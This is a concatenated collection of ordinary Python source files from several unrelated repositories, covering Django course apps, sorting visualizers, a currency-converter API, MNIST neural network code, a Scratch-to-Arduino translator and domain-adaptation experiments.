{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,953
lresende/enterprise_scheduler
refs/heads/master
/enterprise_scheduler/scheduler_resource.py
# -*- coding: utf-8 -*- # # Copyright 2018-2019 Luciano Resende # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,954
lresende/enterprise_scheduler
refs/heads/master
/enterprise_scheduler/scheduler_application.py
# -*- coding: utf-8 -*- # # Copyright 2018-2019 Luciano Resende # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,955
lresende/enterprise_scheduler
refs/heads/master
/enterprise_scheduler/scheduler.py
# -*- coding: utf-8 -*- # # Copyright 2018-2019 Luciano Resende # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,956
taotao234/test
refs/heads/master
/random_wallk.py
from random import choice class RandomWalk(): """生产随机漫步数据的类""" def __init__(self,num_points=5000): """初始化随机漫步的属性""" self.num_points = num_points #所有随机漫步的属性 self.x=[0] self.y=[0] def fill_walk(self): """计算随机漫步包含的所有点""" #不断漫步,直到列表达到指定的长度 while len(self.x)<self.num_points: #决定前进方向及沿着个方...
{"/die_visual.py": ["/die.py"]}
27,957
taotao234/test
refs/heads/master
/world_population.py
import json from country_codes import get_country_code import pygal from pygal.style import RotateStyle as RS, LightColorizedStyle as LCS #将数据加载到一个列表中 filename = 'population_data.json' with open(filename) as f: pop_data = json.load(f) #打印每个国家2010年的人口数量#创建一个包含人口数量的字典 cc_populations = {} for pop_dict in pop_data: i...
{"/die_visual.py": ["/die.py"]}
27,958
taotao234/test
refs/heads/master
/die_visual.py
from die import Die import pygal #创建D6 die_1 = Die() die_2 = Die() #掷几次骰子,将结果储存至列表 results = [] for roll_num in range(1000): result = die_1.roll()+die_2.roll() results.append(result) #分析结果 frequencies = [ ] max_result = die_1.mianshu+die_2.mianshu for value in range(2,max_result+1): frequency = results.count(va...
{"/die_visual.py": ["/die.py"]}
27,959
taotao234/test
refs/heads/master
/die.py
from random import randint class Die(): #表示一个骰子的类 def __init__(self,mianshu=6): #骰子默认6个面 self.mianshu = mianshu def roll(self): #返回一个位于1和骰子面数之间的随机值 return randint(1,self.mianshu)
{"/die_visual.py": ["/die.py"]}
27,971
erikbenton/neural_network_practice
refs/heads/master
/neural_network.py
import numpy as np import math import matplotlib as plt import mnist_loader import random import json import sys class CrossEntropyCost: @staticmethod def fn(a, y): return np.sum(np.nan_to_num(-y*np.log(a) - (1 - y)*np.log(1 - a))) @staticmethod def delta(z, a, y): res = np.subtract(a...
{"/neural_network.py": ["/mnist_loader.py"]}
27,972
erikbenton/neural_network_practice
refs/heads/master
/mnist_loader.py
import pickle import gzip import numpy as np def load_data(): # Returns the MNIST data as (training_data, validation_data, test_data) # The training_data is tuple with 2 entries # # First entry has the actual training images used, which is a 50,000 entry numpy ndarray # where each entry is a num...
{"/neural_network.py": ["/mnist_loader.py"]}
27,973
akash121801/Sorting-Visualizations
refs/heads/main
/InsertionSort.py
import time def insertion_sort(data, drawData, tick): for i in range(1, len(data)): j = i while(j > 0 and data[j] < data[j-1]): drawData(data, ['red' if x == j or x == j + 1 else 'gray' for x in range(len(data))]) time.sleep(tick) data[j], data[j-1] = data[j-1], data[j] j -=1 drawDat...
{"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]}
27,974
akash121801/Sorting-Visualizations
refs/heads/main
/MergeSort.py
import time def merge_sort(data, drawData, tick): return merge_sort_alg(data,0, len(data)-1, drawData, tick) def merge_sort_alg(data, left, right, drawData, tick): if left < right: middle= (left + right) //2 merge_sort_alg(data, left, middle, drawData, tick) merge_sort_alg(d...
{"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]}
27,975
akash121801/Sorting-Visualizations
refs/heads/main
/SelectionSort.py
import time def selection_sort(data, drawData, tick): for i in range(len(data) - 1): minIndex = i for j in range(i + 1, len(data)): if(data[j] < data[minIndex]): drawData(data, ['blue' if x == minIndex else 'gray' for x in range(len(data))]) time.sleep(tick) minIndex = j drawData(...
{"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]}
27,976
akash121801/Sorting-Visualizations
refs/heads/main
/QuickSort.py
import time def Partition(data, left, right, drawData, tick): i = (left-1) # index of smaller element pivot = data[right] # pivot drawData(data, getColorArray(len(data), left, right, i, i)) for j in range(left, right): if data[j] <= pivot: drawData(data, getCol...
{"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]}
27,977
akash121801/Sorting-Visualizations
refs/heads/main
/sortingAlgos.py
from tkinter import * from tkinter import ttk import random from BubbleSort import bubble_sort from SelectionSort import selection_sort from InsertionSort import insertion_sort from MergeSort import merge_sort from QuickSort import quick_sort window= Tk() window.title('Sorting Algorithms Visualized') window...
{"/sortingAlgos.py": ["/SelectionSort.py", "/InsertionSort.py", "/MergeSort.py", "/QuickSort.py"]}
27,978
cahalls3/sneaky-head-1
refs/heads/main
/sneakyhead/pages/urls.py
from django.urls import path from .views import indexPageView, loginPageView, homePageView, profilePageView urlpatterns = [ path("", indexPageView, name="index"), path("login/", loginPageView, name="login"), path("home/", homePageView, name="home"), path("profile/", profilePageView, name="profile") ]
{"/sneakyhead/pages/urls.py": ["/sneakyhead/pages/views.py"]}
27,979
cahalls3/sneaky-head-1
refs/heads/main
/sneakyhead/pages/views.py
from django.http import HttpResponse # displays either login page or user home page depending on if user is logged in def indexPageView(request): return HttpResponse('Index Page') # displays form to login or create profile def loginPageView(request): return HttpResponse('Login Page') # displays posts from...
{"/sneakyhead/pages/urls.py": ["/sneakyhead/pages/views.py"]}
27,982
akapitan/VideoSeries
refs/heads/master
/videoseries/courses/admin.py
from django.contrib import admin from .models import Course, Lesson #admin.site.register(Course) #admin.site.register(Lesson) class InlineLession(admin.TabularInline): model = Lesson extra = 1 max_num = 3 #@admin.register(Course) class CourseAdmin(admin.ModelAdmin): inlines = (InlineLession, ) l...
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,983
akapitan/VideoSeries
refs/heads/master
/videoseries/courses/urls.py
from django.urls import path from .views import CourseListView, CourseDetailView, LessonDetail app_name = "courses" urlpatterns = [ path('', CourseListView.as_view(), name='list'), path('<slug>', CourseDetailView.as_view(), name='detail'), #url(r'(P<slug>[\w-]+') same thing as up path("<course_slug>...
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,984
akapitan/VideoSeries
refs/heads/master
/videoseries/core/managment/commands/rename.py
import os from django.core.management.base import BaseCommand class Command(BaseCommand): help = 'Rename django project' def add_arguments(self, parser): parser.add_arguments('new_project_name', type=str, help='New project name') def handle(self, *args, **kwargs): new_project_name=kwargs[...
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,985
akapitan/VideoSeries
refs/heads/master
/videoseries/membership/views.py
from django.shortcuts import render, redirect from django.views.generic import ListView from .models import Membership, UserMembership, Subcription from django.contrib import messages from django.http import HttpResponseRedirect, HttpResponse from django.urls import reverse from django.conf import settings import stri...
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,986
akapitan/VideoSeries
refs/heads/master
/videoseries/accounts/urls.py
from django.urls import path from .views import loginView, registerView,loginView app_name = "accounts" urlpatterns = [ path('login/', loginView, name='login'), path('register/', registerView, name='register'), path('logout/', loginView, name='logout'), ]
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,987
akapitan/VideoSeries
refs/heads/master
/videoseries/videoseries/urls.py
''' Hello ''' from django.contrib import admin from django.urls import path, include from django.conf.urls.static import static from django.conf import settings from .views import home from blog.views import blog_list, blog_index urlpatterns = [ path('admin/', admin.site.urls), path('courses/', include("cours...
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,988
akapitan/VideoSeries
refs/heads/master
/videoseries/accounts/views.py
from django.shortcuts import render, redirect from django.contrib.auth import authenticate, get_user_model, login, logout from .forms import UserLoginForm, UserRegisterFrom from django.contrib.auth.hashers import make_password def loginView(request): next = request.GET.get('next') print(next) form = UserLo...
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,989
akapitan/VideoSeries
refs/heads/master
/videoseries/membership/admin.py
from django.contrib import admin from membership.models import Membership, UserMembership, Subcription from django.conf import settings # Register your models here. admin.site.register(Membership) admin.site.register(UserMembership) admin.site.register(Subcription)
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,990
akapitan/VideoSeries
refs/heads/master
/videoseries/courses/views.py
from django.shortcuts import render from django.contrib.auth.decorators import login_required from django.views.generic import ListView, DetailView, View from .models import Course from membership.models import UserMembership class CourseListView(ListView): model = Course class CourseDetailView(DetailView): m...
{"/videoseries/courses/urls.py": ["/videoseries/courses/views.py"], "/videoseries/accounts/urls.py": ["/videoseries/accounts/views.py"]}
27,998
codelooper75/simple_currency_converter_api
refs/heads/main
/exchange_rate_parser.py
import urllib from urllib import request from html.parser import HTMLParser class Parse(HTMLParser): usd_rub_exchange_rate = '' def __init__(self): #Since Python 3, we need to call the __init__() function of the parent class super().__init__() self.reset() #Defining what the method shou...
{"/http_api_currency_exchange.py": ["/exchange_rate_parser.py"]}
27,999
codelooper75/simple_currency_converter_api
refs/heads/main
/http_api_currency_exchange.py
import http.server import importlib import json import os import re import shutil import sys import urllib.request import urllib.parse import logging import sys # LOGGING SETTINGS logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s %(name)s %(levelname)s %(...
{"/http_api_currency_exchange.py": ["/exchange_rate_parser.py"]}
28,000
codelooper75/simple_currency_converter_api
refs/heads/main
/tests.py
import urllib.request import json import sys import pytest # correct_request_payload = {"usd_summ": 1430} def make_request(payload): myurl = "http://localhost:8080/usd-rub" req = urllib.request.Request(myurl, method='PUT') req.add_header('Content-Type', 'application/json; charset=utf-8') jsondata = ...
{"/http_api_currency_exchange.py": ["/exchange_rate_parser.py"]}
28,004
cproctor/scratch2arduino
refs/heads/master
/scratch_blocks.py
import re import json from random import randint # Define: # blocks are sequences of statements that stick together. # statements are represented by vertical levels in a script. # expressions are within statements, and evaluate to a value. def clean_name(name): "Converts a name to a canonical CamelCase" ...
{"/scratch_object.py": ["/scratch_blocks.py"]}
28,005
cproctor/scratch2arduino
refs/heads/master
/test/test_translator.py
from translator import * import json with open('test_cases.json') as testfile: test_data = json.load(testfile) for expression in test_data['expressions']: print("EXPRESSION: {}".format(expression)) exp = ScratchExpression.instantiate(expression) print(exp.to_arduino()) for statement in test_data[...
{"/scratch_object.py": ["/scratch_blocks.py"]}
28,006
cproctor/scratch2arduino
refs/heads/master
/scratch_object.py
# This is not ver general_purpose yet... # Have the app ping the CDN every 30 seconds; track when the student clicks for an update as well. # Check for when a program's hash changes. from scratch_blocks import * TYPE_TRANSLATIONS = { "int": "int", "str": "String", "unicode": "String", "float": "float"...
{"/scratch_object.py": ["/scratch_blocks.py"]}
28,007
cproctor/scratch2arduino
refs/heads/master
/scratch2arduino_server.py
# Note: log everything in sqlite! from flask import Flask from scratch_object import * import requests import json from jinja2 import Environment, FileSystemLoader from os.path import dirname, realpath import traceback import logging import datetime log = logging.getLogger(__name__) handler = logging.FileHandler("/v...
{"/scratch_object.py": ["/scratch_blocks.py"]}
28,008
rakshithxaloori/svm-ann
refs/heads/main
/classifier.py
import pandas as pd import numpy as np from sklearn.pipeline import make_pipeline from sklearn.preprocessing import StandardScaler from sklearn.neural_network import MLPClassifier from sklearn.svm import SVC def test_classifier(clf, X, y): """ RETURN the accuracy on data X, y using classifier clf. """ predicti...
{"/runner.py": ["/classifier.py"]}
28,009
rakshithxaloori/svm-ann
refs/heads/main
/runner.py
import sys import csv from sklearn.model_selection import train_test_split from classifier import svm_tasks, ann_tasks def convert_row_to_int(row): new_row = [] for value in row: new_row.append(float(value)) return new_row if __name__ == "__main__": if len(sys.argv) != 2: sys.exit("U...
{"/runner.py": ["/classifier.py"]}
28,019
prabhath6/my_project
refs/heads/master
/my_project/module_one.py
# -*- coding: utf-8 -*- from collections import Counter def get_char_count(data): """ :param data: str :return: Counter """ c = Counter(data) return c
{"/main.py": ["/my_project/module_two.py"]}
28,020
prabhath6/my_project
refs/heads/master
/main.py
from my_project.module_two import custom_count if __name__ == "__main__": print(custom_count("AAAAsdfsdvver", 3))
{"/main.py": ["/my_project/module_two.py"]}
28,021
prabhath6/my_project
refs/heads/master
/my_project/module_two.py
# -*- coding: utf-8 -*- from my_project import module_one def custom_count(data, count): """ :param data: str :param count: int :return: list """ c = module_one.get_char_count(data) return [(i, j) for i, j in c.items() if j >= count]
{"/main.py": ["/my_project/module_two.py"]}
28,022
prabhath6/my_project
refs/heads/master
/tests/test_module_two.py
from my_project import module_two from nose.tools import assert_equal class TestModuleTwo(): @classmethod def setup_class(klass): """This method is run once for each class before any tests are run""" @classmethod def teardown_class(klass): """This method is run once for each class _a...
{"/main.py": ["/my_project/module_two.py"]}
28,027
mkirchmeyer/adaptation-imputation
refs/heads/main
/src/eval/utils_eval.py
import torch.nn.functional as F from src.utils.utils_network import build_label_domain import torch from sklearn.metrics import roc_auc_score import numpy as np np.set_printoptions(precision=4, formatter={'float_kind':'{:3f}'.format}) def evaluate_domain_classifier_class(model, data_loader, domain_label, is_target, ...
{"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",...
28,028
mkirchmeyer/adaptation-imputation
refs/heads/main
/experiments/launcher/criteo_binary.py
import random import numpy as np import torch import time from experiments.launcher.config import Config, dummy_model_config from src.dataset.utils_dataset import create_dataset_criteo from src.models.criteo.dann_imput_criteo import DANNImput from src.models.criteo.dann_criteo import DANN from src.utils.utils_network ...
{"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",...
28,029
mkirchmeyer/adaptation-imputation
refs/heads/main
/src/models/digits/djdot_imput_digits.py
import torch import torch.nn.functional as F from itertools import cycle from time import clock as tick import torch.optim as optim from experiments.launcher.config import DatasetConfig from src.eval.utils_eval import evaluate_data_imput_classifier, compute_mse_imput from src.models.digits.djdot_digits import dist_torc...
{"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",...
28,030
mkirchmeyer/adaptation-imputation
refs/heads/main
/src/models/digits/djdot_digits.py
from time import clock as tick import torch from experiments.launcher.config import DatasetConfig from src.eval.utils_eval import evaluate_data_classifier from src.plotting.utils_plotting import plot_data_frontier_digits from src.utils.network import weight_init_glorot_uniform from src.utils.utils_network import set_lr...
{"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",...
28,031
mkirchmeyer/adaptation-imputation
refs/heads/main
/experiments/launcher/digits_binary.py
import random import numpy as np import torch import time from experiments.launcher.config import Config, dummy_model_config from src.dataset.utils_dataset import create_dataset from src.models.digits.dann_imput_digits import DANNImput from src.models.digits.dann_digits import DANN from src.models.digits.djdot_imput_di...
{"/src/eval/utils_eval.py": ["/src/utils/utils_network.py"], "/experiments/launcher/criteo_binary.py": ["/experiments/launcher/config.py", "/src/dataset/utils_dataset.py", "/src/models/criteo/dann_criteo.py", "/src/utils/utils_network.py"], "/src/models/digits/djdot_imput_digits.py": ["/experiments/launcher/config.py",...